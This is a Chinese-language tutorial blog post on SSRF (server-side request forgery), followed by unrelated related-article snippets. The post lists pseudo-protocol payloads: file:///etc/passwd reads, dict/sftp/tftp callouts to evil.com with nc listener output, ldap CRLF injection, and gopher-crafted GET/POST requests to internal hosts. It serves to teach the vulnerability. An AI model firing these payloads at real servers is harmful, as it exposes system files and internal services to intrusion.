ssrf漏洞学习——基础知识

news/2024/5/21 2:45:00

一、SSRF是什么?

SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。

一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统)

攻击方式:借助主机A来发起SSRF攻击,通过主机A向主机B发起请求,从而获取主机B的一些信息。

二、SSRF漏洞原理

SSRF 形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。

三、SSRF中URL的伪协议

当我们发现SSRF漏洞后,首先要做的事情就是测试所有可用的URL伪协议

    file:/// 从文件系统中获取文件内容,如,file:///etc/passwd
    dict:// 字典服务器协议,访问字典资源,如,dict:///ip:6739/info:
    sftp:// SSH文件传输协议或安全文件传输协议
    ldap:// 轻量级目录访问协议
    tftp:// 简单文件传输协议
    gopher:// 分布式文档传递服务,可使用gopherus生成payload

1、file

这种URL Schema可以尝试从文件系统中获取文件:

    http://example.com/ssrf.php?url=file:///etc/passwdhttp://example.com/ssrf.php?url=file:///C:/Windows/win.ini

如果该服务器阻止对外部站点发送HTTP请求,或启用了白名单防护机制,只需使用如下所示的URL Schema就可以绕过这些限制:

2、dict

这种URL Scheme能够引用允许通过DICT协议使用的定义或单词列表:

    http://example.com/ssrf.php?dict://evil.com:1337/
    evil.com:$ nc -lvp 1337
    Connection from [192.168.0.12] port 1337[tcp/*]
    accepted (family 2, sport 31126)CLIENT libcurl 7.40.0

3、sftp

在这里,Sftp代表SSH文件传输协议(SSH File Transfer Protocol),或安全文件传输协议(Secure File Transfer Protocol),这是一种与SSH打包在一起的单独协议,它运行在安全连接上,并以类似的方式进行工作。

    http://example.com/ssrf.php?url=sftp://evil.com:1337/
    evil.com:$ nc -lvp 1337
    Connection from [192.168.0.12] port 1337[tcp/*]
    accepted (family 2, sport 37146)SSH-2.0-libssh2_1.4.2

4、ldap://或ldaps:// 或ldapi://

LDAP代表轻量级目录访问协议。它是IP网络上的一种用于管理和访问分布式目录信息服务的应用程序协议。

    http://example.com/ssrf.php?url=ldap://localhost:1337/%0astats%0aquithttp://example.com/ssrf.php?url=ldaps://localhost:1337/%0astats%0aquithttp://example.com/ssrf.php?url=ldapi://localhost:1337/%0astats%0aquit

5、tftp://

TFTP(Trivial File Transfer Protocol,简单文件传输协议)是一种简单的基于lockstep机制的文件传输协议,它允许客户端从远程主机获取文件或将文件上传至远程主机。

    http://example.com/ssrf.php?url=tftp://evil.com:1337/TESTUDPPACKET
    evil.com:# nc -lvup 1337
    Listening on [0.0.0.0] (family 0, port1337)TESTUDPPACKEToctettsize0blksize512timeout3

6、gopher://

Gopher是一种分布式文档传递服务。利用该服务,用户可以无缝地浏览、搜索和检索驻留在不同位置的信息。

利用范围较广:【GET提交】【POST提交】【redis】【Fastcgi】【sql】

基本格式:URL:gopher://<host>:<port>/<gopher-path>

web也需要加端口号80  gopher协议默认端口为 70

gopher伪协议传输的数据第一位会被吃掉所以在传输前最好加一个‘-’防止传输的数据数据有误

用gopher伪协议发送get请求

需要保留头部信息:
1、目标IP地址:Host: 172.250.250.4
2、路径:GET/name.php?name=benben HTTP/1.1
gopher://172.250.250.4:80/_GET%20/name.php%3fname=benben%20HTTP/1.1%0d%0AHost:%20172.250.250.4%0d%0A

注意点

1、问号(?)需要转码为URL编码,也就是%3f2、回车换行要变为%0d%0a,但如果直接用工具转,可能只会有%0a
3、在HTTP包的最后要加%0d%0a,代表消息结束(具体可研究HTTP包结束)
4、URL编码改为大写,冒号注意英文冒号
5、如果使用BP发包需要进行两次url编码
6、GET提交最后需要增加一个换行符

用gopher伪协议发送post请求

需要保留头部信息:
1、POST
2、 Host:
3、Content-Type:
4、Content-Length:

eg:

使用工具将以下内容进行两次URL编码
POST /name.php HTTP/1.1

Host: 172.250.250.4

Content-Type:application/x-www-form-urlencoded(指示请求或响应中所包含的实体主体的媒体类型)

Content-Length:15(下面字符串的长度)

name=benben2222


gopher://172.250.250.4:80/
gopher格式不变


http://www.mrgr.cn/p/52800756

相关文章

《架构风清扬-Java面试系列第29讲》聊聊DelayQueue的使用场景

DelayQueue是BlockingQueue接口的一个实现类之一 这个属于基础性问题&#xff0c;老规矩&#xff0c;我们将从使用场景和代码示例来进行讲解 来&#xff0c;思考片刻&#xff0c;给出你的答案 1&#xff0c;使用场景 实现&#xff1a;延迟队列&#xff0c;其中元素只有在其预定…

layui的treeTable组件,多层级上传按钮失效的问题解决

现象描述: layui的treeTable 的上传按钮在一层能用&#xff0c;展开后其他按钮正常点击&#xff0c;上传按钮无效。 具体原因没有深究&#xff0c;大概率是展开的子菜单没有被渲染treeTable的done管理到&#xff0c;导致没有重绘上传按钮。 解决方案: 不使用layu的上传组件方法…

springboot+vue快速部署前后台项目,无需服务器

问题 前言 我们都知道,现在的主流开发大多数为,前后端分离,目前流行的框架,大多数是spring boot+element ui 这些框架,这无疑是给开发部署项目带来了便利,我们后台开发无需关心前端如何部署的,前端同样也无需关系后台如何部署,只需要确认能够访问即可。 存在有如下问题…

DDR5和LPDDR4/5 命令解析

关键名称介绍 DDR5 SDRAM和LPDDR4/5都采用了高级的命令集来支持更高效的内存管理和操作,其中“Multi-purpose command (MPC)”、“Mode Register Read (MRR)”、“Mode Register Write (MRW)”,以及“Write Pattern Command”是几种关键的命令类型,它们在内存初始化、配置和…

大型语言模型的新挑战:AMR语义表示的神秘力量

DeepVisionary 每日深度学习前沿科技推送&顶会论文&数学建模与科技信息前沿资讯分享&#xff0c;与你一起了解前沿科技知识&#xff01; 引言&#xff1a;AMR在大型语言模型中的作用 在自然语言处理&#xff08;NLP&#xff09;的领域中&#xff0c;抽象意义表示&…

HBM供不应求,SK海力士称2025年订单都几乎售罄

【科技明说 &#xff5c; 科技热点关注】 据外媒报道&#xff0c;SK海力士透露公司今年的HBM产能已经全部售罄&#xff0c;明年订单也基本售罄。此外&#xff0c;SK海力士预计在2024年5月提供世界最高性能的12层堆叠HBM3E产品的样品&#xff0c;并准备在第三季度开始量产。 ​…

项目打包与上线

目录1.修改好上线环境中的请求地址2.打包项目3.连接服务器4.配置nginx代理5.上线成功 1.修改好上线环境中的请求地址2.打包项目进入项目根目录,输入npm run build解决报错问题 当我们无法解决多而烦的ts检查报错时,可以在项目中的package.json文件中把下图中原本的红色框内容…

西门子数控网络IP设定配置

总结&#xff1a;menuselect-诊断-屏幕下方右翻页找到tcp/ip&#xff0c;进去选择tcp/ip诊断&#xff0c;进去选择x130网口&#xff0c;点击更改&#xff0c; 如果没有更改&#xff0c;menuselect-调试-口令&#xff0c;输入口令 sunrise 然后重新配置tcp/ip&#xff0c;配置完…

npm报错 dev @vue/eslint-config-standard@^6.1.0 from the root project

参考:https://blog.csdn.net/weixin_65398435/article/details/126419711 我新建了个项目,然后执行 npm i 但是报错,如下图看了个老哥的解答,直接执行 npm install npm@6.14.15 -g npm i 成功!

实景三维技术在城市运行状态监测方面的应用

随着城市化步伐的加快,城市规模日益扩大,对于城市运行状态的实时监控需求愈发迫切。传统的监控手段已无法满足现代城市管理的精细化和高效化要求。而实景三维技术的崛起,为城市运行状态实时监控注入了新的活力,带来了新的机遇与挑战。实景三维技术,这一基于三维激光扫描和…

Microsoft Visual Studio 小tips

1、打开文件,资源文件夹默认追踪

基于 Spring Boot 博客系统开发(七)

基于 Spring Boot 博客系统开发&#xff08;七&#xff09; 本系统是简易的个人博客系统开发&#xff0c;为了更加熟练地掌握 SprIng Boot 框架及相关技术的使用。&#x1f33f;&#x1f33f;&#x1f33f; 基于 Spring Boot 博客系统开发&#xff08;六&#xff09;&#x1f…

ES数据存储与查询基本原理

Elasticsearch&#xff08;ES&#xff09;简介 Elasticsearch&#xff08;ES&#xff09;是一个分布式、可扩展、近实时的搜索和分析引擎&#xff0c;它基于Lucene&#xff0c;设计用于云计算中&#xff0c;处理大规模文档检索和数据分析任务&#xff0c;常用于实现内部搜索引…

开源框架平台:功能优势多,助力数字化转型!

对于什么是开源框架平台,以及它的优势和特点,我们今天就一起来了解和探讨。伴随着科技越来越发达,低代码技术平台、开源框架平台逐渐在各中小型企业里获得重视和青睐,成为助力企业实现流程化办公,进入数字化转型的的有力武器。在众多服务商中,谁拥有市场竞争力,谁在服务…

配置orangepi5pro运行rknn版本的yolov5

配置orangepi5pro运行rknn版本的yolov5,使用npu进行目标检测.摘要 配置orangepi5pro运行rknn版本的yolov5,使用npu进行目标检测. 关键信息板卡:orangepi5pro 芯片:RK3588S 环境:rknn2 转换工具:rknn-tool-kit2:1.5.0 系统:ubuntu20.04原理简介 npu简介 NPU(Neural Processing …

双目相机标定流程(MATLAB)

一&#xff1a;经典标定方法 1.1OPENCV 1.2ROS ROS进行双目视觉标定可以得到左右两个相机的相机矩阵和畸变系数&#xff0c;如果是单目标定&#xff0c;用ROS会非常方便。 3.MATLAB标定&#xff08;双目标定&#xff09; MATLAB用来双目标定会非常方便&#xff0c;主要是为…

docker部署seata与客户端整合seata

微服务和seata的版本关系 1:docker pull seataio/seata-server拉取镜像 [root@WFWCS ~]# docker search seata NAME DESCRIPTION STARS OFFICIAL apache/seata-server Apach…

深入入IAEA底层LinkedList

✅作者简介&#xff1a;大家好&#xff0c;我是再无B&#xff5e;U&#xff5e;G&#xff0c;一个想要与大家共同进步的男人&#x1f609;&#x1f609; &#x1f34e;个人主页&#xff1a;再无B&#xff5e;U&#xff5e;G-CSDN博客 目标&#xff1a; 1.掌握LinkedList 2.…

Django 静态文件管理与部署指南

title: Django 静态文件管理与部署指南 date: 2024/5/10 17:38:36 updated: 2024/5/10 17:38:36 categories:后端开发tags:WebOpt CDN加速 DjangoCompress Webpack StaticDeploy CICD-Tools SecStatic第一章:介绍 Django 静态文件的概念和重要性 在 Web 开发中,静态文件通常指…

windows10 资源管理器 卡死 底部任务栏不显示程序 点击底部任务栏两次会重启资源管理器继续卡死

故障存储段 ,类型 0事件名称: AppHangB1响应: 不可用Cab ID: 0 问题签名:P1: explorer.exeP2: 10.0.19041.1266P3: 418a6e83P4: a874P5: 134217728P6: P7: P8: P9: P10: 附加文件:\\?\C:\ProgramData\Microsoft\Windows\WER\Temp\WERE85A.tmp.WERInternalMetadata.xml\\?\C…